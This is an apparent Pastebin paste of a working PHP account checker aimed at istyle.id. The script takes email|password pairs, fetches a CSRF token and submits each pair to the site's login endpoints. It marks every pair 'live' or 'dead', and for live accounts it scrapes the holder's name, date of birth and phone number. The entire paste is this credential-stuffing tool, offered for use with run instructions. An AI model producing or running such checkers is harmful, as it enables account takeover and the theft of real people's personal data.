AlexaMP

istyle.id account login with details name,date of birht, and phone number

Jun 18th, 2021 (edited)
982
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. ############## NOTE ##############
  4. #
  5. #save file as .php
  6. #create folder 'cookies' in same file location
  7. #run file in browser with example -> filename.php?email=usermail@mail.com|password123
  8. #
  9. ##################################
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.    
  18. header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
  19. header("Access-Control-Allow-Credentials: true");
  20. header('Access-Control-Allow-Origin: *');
  21. header("Access-Control-Allow-Headers: Content-Type, *");
  22. $email = $_GET['email'];;
  23. $email = explode('|',$email);
  24. $email = explode(':',$email['0']);
  25. $email = $email[0];
  26. if(!$_GET['email']){
  27.     $data = array('response' => '100', 'email' => "$email", 'status' => 'unknown');
  28.     echo json_encode($data);
  29.     exit();
  30. }else{
  31.  
  32. $kreden = $_GET['email'];
  33. $kreden2 = str_replace("|","[]","$kreden");
  34. $kreden2 = str_replace(":","[]","$kreden2");
  35. $bisabaca = explode('[]',$kreden2);
  36. $email = $bisabaca[0];
  37. $password = $bisabaca[1];
  38.  
  39.  
  40.  
  41. $jorr = rand(1,999999999);
  42. $cookiess = "cookies/istyle".$jorr.".txt";
  43.  
  44. $ch = curl_init();
  45. curl_setopt($ch, CURLOPT_URL, "https://www.istyle.id/login/loginForm.do#login");
  46. curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  47. curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  48. curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
  49. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiess);
  50. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiess);
  51. curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  52. $result = curl_exec($ch);
  53. curl_close($ch);
  54. $konsa = explode('name="_csrf" content="',$result);
  55. $mista = explode('"',$konsa[1]);
  56. $csrf = $mista[0];
  57. $ch2 = curl_init();
  58. curl_setopt($ch2, CURLOPT_URL,"https://www.istyle.id/api/me/usermgmt/checkLogin");
  59. curl_setopt($ch2, CURLOPT_POST, 1);
  60. curl_setopt($ch2, CURLOPT_COOKIEJAR, $cookiess);
  61. curl_setopt($ch2, CURLOPT_COOKIEFILE, $cookiess);
  62. curl_setopt($ch2, CURLOPT_POSTFIELDS,"password=$password&userId=$email&userPassword=$password&_csrf=$csrf");  //Post Fields
  63. curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
  64. curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, false);
  65. curl_setopt($ch2, CURLOPT_ENCODING, 'gzip, deflate');
  66. $result2 = curl_exec($ch2);
  67. curl_close($ch2);
  68. //error code -> {"5001001":5001001,"message":"id not found.","data":null,"succeeded":true}
  69. //error code -> {"code":5001002,"message":"password not matched.","data":{"loginFailCount":"1"},"succeeded":true}
  70. //success code = > {"code":200,"message":"success","data":{"loginFailCount":"4"},"succeeded":true}
  71. $baca_login = json_decode($result2,true);
  72. $login_code = $baca_login['code'];
  73. if($login_code == '5001001'){ //no account
  74.     $data = array('response' => '200','email' => "$kreden", 'status' => 'dead');
  75.     echo json_encode($data);
  76.     exit();
  77. }else
  78. if($login_code == '5001002'){ //no password
  79.     $data = array('response' => '200','email' => "$kreden", 'status' => 'dead');
  80.     echo json_encode($data);
  81.     exit();
  82. }else
  83. if($login_code == '200'){
  84. $ch3 = curl_init();
  85. curl_setopt($ch3, CURLOPT_URL,"https://www.istyle.id/login/loginProcess.do");
  86. curl_setopt($ch3, CURLOPT_POST, 1);
  87. curl_setopt($ch3, CURLOPT_COOKIEJAR, $cookiess);
  88. curl_setopt($ch3, CURLOPT_COOKIEFILE, $cookiess);
  89. curl_setopt($ch3, CURLOPT_POSTFIELDS,"redirectUrl=https://www.istyle.id/me/service/oauth/memberMain.do&_csrf=$csrf&userid=$email&remember_me=false&password=$password");  //Post Fields
  90. curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
  91. curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, true);
  92. curl_setopt($ch3, CURLOPT_ENCODING, 'gzip, deflate');
  93. $result3 = curl_exec($ch3);
  94. curl_close($ch3);
  95. $p1 = explode('name: "',$result3);
  96. $p2 = explode('",',$p1[1]);
  97. $p3 = explode('dob: "',$result3);
  98. $p4 = explode('",',$p3[1]);
  99. $p5 = explode('phone: "',$result3);
  100. $p6 = explode('",',$p5[1]);
  101. $account_name = $p2[0];
  102. $dob = $p4[0];
  103. $phone = $p6[0];
  104.     $data = array('response' => '200','email' => "$kreden|$account_name|$dob|$phone", 'status' => 'live');
  105.     echo json_encode($data);
  106.     exit();
  107. }else{
  108.    $data = array('response' => '200','email' => "$kreden", 'status' => 'unkown');
  109.     echo json_encode($data);
  110.     exit();
  111. }
  112. }
  113. ?>
  114.  
RAW Paste Data